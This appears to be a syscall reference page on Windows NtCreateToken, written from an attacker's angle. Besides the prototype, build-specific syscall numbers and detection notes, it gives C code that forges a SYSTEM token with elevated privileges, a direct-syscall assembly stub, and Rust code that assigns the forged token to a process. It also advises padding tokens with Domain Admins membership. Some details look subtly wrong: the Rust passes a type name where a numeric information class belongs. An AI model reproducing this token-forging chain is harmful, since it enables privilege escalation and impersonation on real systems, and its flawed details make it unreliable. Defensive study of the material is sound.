> Windows Syscalls
ntoskrnl.exeT1134.003T1003.001T1106

NtCreateToken

Forges an access token from scratch with caller-specified user, groups, privileges, owner, default DACL and source — gated by SeCreateTokenPrivilege.

Prototype

NTSTATUS NtCreateToken(
  PHANDLE             TokenHandle,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  TOKEN_TYPE          Type,
  PLUID               AuthenticationId,
  PLARGE_INTEGER      ExpirationTime,
  PTOKEN_USER         User,
  PTOKEN_GROUPS       Groups,
  PTOKEN_PRIVILEGES   Privileges,
  PTOKEN_OWNER        Owner,
  PTOKEN_PRIMARY_GROUP PrimaryGroup,
  PTOKEN_DEFAULT_DACL DefaultDacl,
  PTOKEN_SOURCE       Source
);

Arguments

NameTypeDirDescription
TokenHandlePHANDLEoutReceives a handle to the newly forged token.
DesiredAccessACCESS_MASKinAccess mask. TOKEN_ALL_ACCESS (0xF01FF) lets the caller do anything with the result.
ObjectAttributesPOBJECT_ATTRIBUTESinObject attributes. SecurityQualityOfService here picks the impersonation level for the new token.
TypeTOKEN_TYPEinTokenPrimary (1) or TokenImpersonation (2). Primary tokens can be assigned with NtAssignProcessToken / CreateProcessAsUser; impersonation tokens with NtSetInformationThread.
AuthenticationIdPLUIDinLUID identifying the logon session. SYSTEM is {0x3E7,0}. Use a real session LUID to inherit kerberos tickets etc.
ExpirationTimePLARGE_INTEGERinToken expiration. Practically ignored on every shipping build — use a large value (MAX_LARGE_INTEGER) for a non-expiring token.
UserPTOKEN_USERinTOKEN_USER struct giving the user SID — typically a domain user or SYSTEM for total impersonation.
GroupsPTOKEN_GROUPSinArray of group SIDs with attributes. Add Domain Admins, Enterprise Admins etc. to fabricate elevated membership.
PrivilegesPTOKEN_PRIVILEGESinPrivilege set assigned to the token. Typically the union of SeDebugPrivilege, SeTcbPrivilege, SeAssignPrimaryTokenPrivilege etc. when forging.
OwnerPTOKEN_OWNERinDefault owner SID applied to objects created by the token's process.
PrimaryGroupPTOKEN_PRIMARY_GROUPinPrimary group SID (POSIX heritage). Usually Domain Users.
DefaultDaclPTOKEN_DEFAULT_DACLinDefault DACL applied to new objects. NULL is accepted — kernel substitutes a permissive default.
SourcePTOKEN_SOURCEinTOKEN_SOURCE.SourceName is an 8-byte label visible to auditing — "*SYSTEM*", "User32", "Advapi", or attacker-chosen.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070xB6win10-1507
Win10 16070xB9win10-1607
Win10 17030xBCwin10-1703
Win10 17090xBDwin10-1709
Win10 18030xBEwin10-1803
Win10 18090xBFwin10-1809
Win10 19030xC0win10-1903
Win10 19090xC0win10-1909
Win10 20040xC4win10-2004
Win10 20H20xC4win10-20h2
Win10 21H10xC4win10-21h1
Win10 21H20xC5win10-21h2
Win10 22H20xC5win10-22h2
Win11 21H20xCAwin11-21h2
Win11 22H20xCBwin11-22h2
Win11 23H20xCBwin11-23h2
Win11 24H20xCDwin11-24h2
Server 20160xB9winserver-2016
Server 20190xBFwinserver-2019
Server 20220xC9winserver-2022
Server 20250xCDwinserver-2025

Kernel module

ntoskrnl.exeNtCreateToken

Related APIs

NtAssignProcessTokenNtDuplicateTokenNtCreateTokenExNtFilterTokenNtAdjustPrivilegesTokenLsaLogonUserImpersonateLoggedOnUser

Syscall stub

4C 8B D1            mov r10, rcx
B8 CD 00 00 00      mov eax, 0xCD
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

The one syscall that *creates a token without authenticating anything*. The gate is SeCreateTokenPrivilege, which by default is held only by LSASS — the Local Security Authority Subsystem. No interactive user, not even an Administrator, holds this privilege at logon, and even the local SYSTEM account does not (SYSTEM gets it via the LSA package context, not via its token). That means the practically-relevant question for offensive use is: *do you have code execution inside lsass.exe (or have you stolen a token from lsass.exe that already has the privilege enabled)?* If yes, you can mint a TokenPrimary for any SID with any group membership and any privilege set. The result is then assignable via `NtAssignProcessToken` to make `CreateProcessAsUser`-style child processes that look like the forged identity. The kernel does not verify that the User SID actually exists in any database.

Common malware usage

T1134.003 *Make and Impersonate Token* in its purest form. Once an attacker has SYSTEM and reaches lsass.exe (Mimikatz `sekurlsa::pth`, `token::create`, ProcDump-then-LSASS-Parser pipelines, Pypykatz, Nanodump-derived chains, the post-LSASS workflows of Brute Ratel and Cobalt Strike), this is the call that materializes the forged identity. Variants include: build a 'service' identity (`AuthenticationId={0x3E7,0}`, all privileges) for SYSTEM-equivalent persistence; build a domain-admin impersonation token whose User SID matches a target the attacker plans to impersonate against a remote service (silver-ticket-without-Kerberos); or stage a chain where NtCreateToken yields a primary token, NtAssignProcessToken assigns it to a shell process, and the resulting cmd.exe appears in Process Explorer as DOMAIN\Administrator without ever logging in. The PoC ConVME by Clément Labro and several public 'token-magic' tools demonstrate the full chain.

Detection opportunities

This is the single most monitored token syscall on hardened environments. Microsoft-Windows-Threat-Intelligence emits an event on success. Defender for Endpoint surfaces it as 'Token forged' / 'Anomalous token creation' and ties it to the parent lsass.exe context. Security event 4673 (privileged-service-call) plus 4672 (special privileges assigned to new logon) fire on every consumption of the resulting token. The reliable defensive posture is: any NtCreateToken caller that is *not* a Microsoft-signed component inside lsass.exe is by definition malicious — there is no legitimate third-party use of this syscall. Credential Guard (VBS) renders the LSA SECRETS unreadable from user-mode and is the primary mitigation against the prerequisite, but does not directly block NtCreateToken if the attacker has already minted SeCreateTokenPrivilege via a different path.

Direct syscall examples

cSkeleton: forge a SYSTEM primary token (post-LSASS)

// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
    PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
    PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
    PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);

HANDLE ForgeSystemToken(void) {
    PSID sidSystem = NULL, sidAdmins = NULL;
    ConvertStringSidToSidA("S-1-5-18", &sidSystem);
    ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
    TOKEN_USER tu = { { sidSystem, 0 } };
    SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
    BYTE grpsBuf[64] = { 0 };
    PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
    groups->GroupCount = 1; groups->Groups[0] = grp;
    BYTE prvBuf[128] = { 0 };
    PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
    privs->PrivilegeCount = 4;
    LookupPrivilegeValueA(NULL, SE_DEBUG_NAME,            &privs->Privileges[0].Luid);
    LookupPrivilegeValueA(NULL, SE_TCB_NAME,              &privs->Privileges[1].Luid);
    LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
    LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME,      &privs->Privileges[3].Luid);
    for (DWORD i = 0; i < privs->PrivilegeCount; i++)
        privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
    TOKEN_OWNER         owner = { sidAdmins };
    TOKEN_PRIMARY_GROUP pgrp  = { sidAdmins };
    TOKEN_SOURCE        src   = { { '*','S','Y','S','T','E','M','*' } };
    AllocateLocallyUniqueId(&src.SourceIdentifier);
    LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
    LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    HMODULE n = GetModuleHandleA("ntdll.dll");
    fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
    HANDLE hTok = NULL;
    pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
            &authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
    LocalFree(sidSystem); LocalFree(sidAdmins);
    return hTok;
}

asmx64 direct stub (Win11 24H2 SSN)

; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
    mov  r10, rcx
    mov  eax, 0CDh
    syscall
    ret
NtCreateToken ENDP

rustAssign the forged token to a child process

// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};

type NtSetInformationProcess = unsafe extern "system" fn(
    proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;

pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
    #[repr(C)]
    struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
    let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
    let f: NtSetInformationProcess = std::mem::transmute(addr);
    let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
    f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
      core::mem::size_of::<ProcessAccessToken>() as u32)
}

MITRE ATT&CK mappings

Last verified: 2026-05-20